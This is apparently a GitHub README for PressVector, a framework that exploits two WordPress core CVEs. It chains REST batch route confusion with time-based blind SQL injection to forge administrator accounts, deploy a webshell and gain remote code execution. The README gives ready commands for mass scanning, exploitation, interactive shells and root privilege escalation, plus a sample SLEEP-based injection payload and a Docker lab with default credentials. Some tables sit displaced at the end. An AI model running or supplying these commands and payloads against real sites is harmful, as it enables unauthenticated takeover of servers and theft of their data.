🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 Exploitation Framework

⚡ Advanced Pre-Auth RCE & Blind SQLi Exploitation Framework for WordPress Core

📌 Overview

PressVector is a comprehensive, fully automated exploitation framework targeting CVE-2026-63030 and CVE-2026-60137 — two critical vulnerabilities in WordPress core that together allow unauthenticated remote code execution.

The framework chains REST Batch Route Confusion with a blind SQL injection to forge administrator sessions, deploy webshells, and execute arbitrary OS commands — all without any credentials.

⚠️ For authorized security testing and educational purposes only.

🔍 What is CVE-2026-63030 (wp2shell)?

CVE-2026-63030 is a critical pre-authentication RCE vulnerability in WordPress core, discovered by Adam Kues (Assetnote / Searchlight Cyber). The exploit chains two independent vulnerabilities:

CVE	Advisory	Type	Impact
CVE-2026-63030	GHSA-ff9f-jf42-662q	REST Batch Route Confusion

💥 Exploitation Chain

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Affected Versions

📦 Installation

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Tools Included

1️⃣ `pressvector.py` — Main Exploitation Framework

Full-featured exploitation framework with 4 modes of operation.

🔎 `scan` — Multi-target Vulnerability Scanner

Fast, multi-threaded scanner to detect vulnerable WordPress installations at scale.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ `check` — Blind SQLi Confirmation

Confirm time-based blind SQL injection on a single target with timing calibration.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 `exploit` — Full RCE Exploitation Chain

Complete exploitation: forge admin → deploy webshell → execute commands.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 `privesc` — Privilege Escalation

Attempt local privilege escalation after achieving RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ `pressvector-wp2shell-detection.yaml` — Nuclei Detection Template

A production-ready Nuclei template for large-scale passive detection.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Template features:

🔍 Multi-source version detection (meta generator + RSS feed fallback)
📡 REST API namespace fingerprinting
🎯 Batch route accessibility probing
📋 Dynamic output: version, CVE type, attack vector

🧪 Lab Environment (Docker)

A fully automated, containerized penetration testing lab is included for safe, isolated testing of these vulnerabilities.

Quick Start

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Wait ~60-90 seconds on first run for the WP-CLI installer to set up all WordPress sites automatically).

Lab Services & Ports

Admin Credentials: admin / admin123
MySQL Root Password: root

Verification & Automated Testing

You can verify the entire lab state and exploitation paths using the automated test suite:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Lab Control Commands

Stop lab (keep data): Run stop-lab.sh or .\stop-lab.ps1
Reset lab (wipe data & clean build): Run reset-lab.sh or .\reset-lab.ps1

For more advanced instructions and troubleshooting, see the Lab README.

🏗️ Architecture

PressVector/
├── pressvector.py                     # Main exploitation framework (v3.0.0)
│   ├── SSLContext                     # TLS context with cert bypass
│   ├── HTTPClient                     # Session-aware HTTP client + proxy
│   ├── BlindSQLIEngine                # Time-based blind SQLi (binary search)
│   ├── PreAuthRCE                     # Full RCE chain engine
│   │   ├── _discover_batch_endpoint() # REST /batch/v1 discovery
│   │   ├── detect_vulnerability()     # Timing oracle calibration
│   │   ├── extract_table_prefix()     # DB table prefix extraction
│   │   ├── locate_admin()             # Admin user ID discovery
│   │   ├── create_admin_user()        # UNION-based admin forge
│   │   └── deploy_webshell()          # Plugin zip upload + shell deploy
│   └── PrivilegeEscalation            # Local privesc post-RCE
│
├── pressvector-wp2shell-detection.yaml # Nuclei detection template
│
└── pressvector-lab/
    ├── docker-compose.yml          ← Orchestrates all services
    ├── wp-init/
    │   ├── entrypoint.sh           ← WP-CLI auto-installer
    │   └── init-db.sql             ← Creates databases for all instances
    ├── lab-dashboard/
    │   └── index.html              ← Dark-themed web UI (port 8085)
    ├── tests/
    │   ├── test_sqli.py            ← Blind SQLi validation
    │   ├── test_rce.py             ← RCE chain step-by-step test
    │   └── run_all_tests.py        ← Master test runner + JSON report
    ├── targets.txt                 ← Pre-filled target list
    ├── nuclei-test.sh              ← Nuclei template validator
    ├── start-lab.sh / .ps1         ← Start the lab
    ├── stop-lab.sh  / .ps1         ← Stop the lab
    └── reset-lab.sh / .ps1         ← Wipe and rebuild from scratch

🔧 Advanced Usage

Proxy Integration (Burp Suite)

# Route all traffic through Burp Suite
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
python pressvector.py privesc http://target.com --proxy http://127.0.0.1:8080

Custom Timeouts for Slow Targets

python pressvector.py check http://target.com --timeout 60 --delay 3.0
python pressvector.py exploit http://target.com -c "id" --timeout 60

JSON Output for Automation

python pressvector.py scan -f targets.txt --json | jq '.[] | select(.vulnerable==true)'

📋 Technical Details

The injection leverages author__not_in in the WordPress REST API categories endpoint, wrapped inside a nested batch request to bypass authentication context:

{
  "requests": [
    {"method": "POST", "path": "http://:"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT IF((1=1),SLEEP(2),0)"},
        {"method": "GET", "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Admin Forge via UNION Injection

The framework injects forged rows directly into wp_users and wp_usermeta tables using UNION-based SQL injection through the same batch route, effectively creating a new administrator without touching the login interface.

🔗 References

⚠️ Legal Disclaimer

IMPORTANT: This tool is intended for authorized security testing, penetration testing, and educational research only.

✅ Only use on systems you own or have explicit written permission to test.

❌ Unauthorized access to computer systems is illegal and punishable by law.

❌ The developer (Vulnquest) assumes no responsibility for any misuse or damage caused by this software.

Use responsibly, ethically, and within the bounds of applicable law.

👤 Author

Vulnquest
GitHub: @vulnquest58
Repository: github.com/vulnquest58/PressVector

_{PressVector v3.0.0-Exploit — Built for security researchers and penetration testers}

6.8.0 – 6.8.5	CVE-2026-60137	🟡 Blind SQLi (High)	❌ Vulnerable
6.9.0 – 6.9.4	CVE-2026-63030 + CVE-2026-60137	🔴 Pre-Auth RCE (Critical)	❌ Vulnerable
7.0.0 – 7.0.1	CVE-2026-63030 + CVE-2026-60137	🔴 Pre-Auth RCE (Critical)	❌ Vulnerable
7.1-alpha / 7.1-beta1	CVE-2026-60137	🟡 SQLi (High)	❌ Vulnerable
6.8.6+ / 6.9.5+ / 7.0.2+	—	✅ Patched	✅ Safe

8080	Target 1	6.8.5	CVE-2026-60137 (Blind SQLi only) 🔴
8081	Target 2	6.9.4	CVE-2026-63030 (Pre-Auth RCE) 🔴
8082	Target 3	7.0.1	CVE-2026-63030 (Pre-Auth RCE) 🔴
8083	Reference	Latest	Patched / Safe Reference ✅
8084	PHPMyAdmin	—	DB Management Tool
8085	Lab Dashboard	—	Web UI with target status & copyable commands 🖥️

PressVector

人気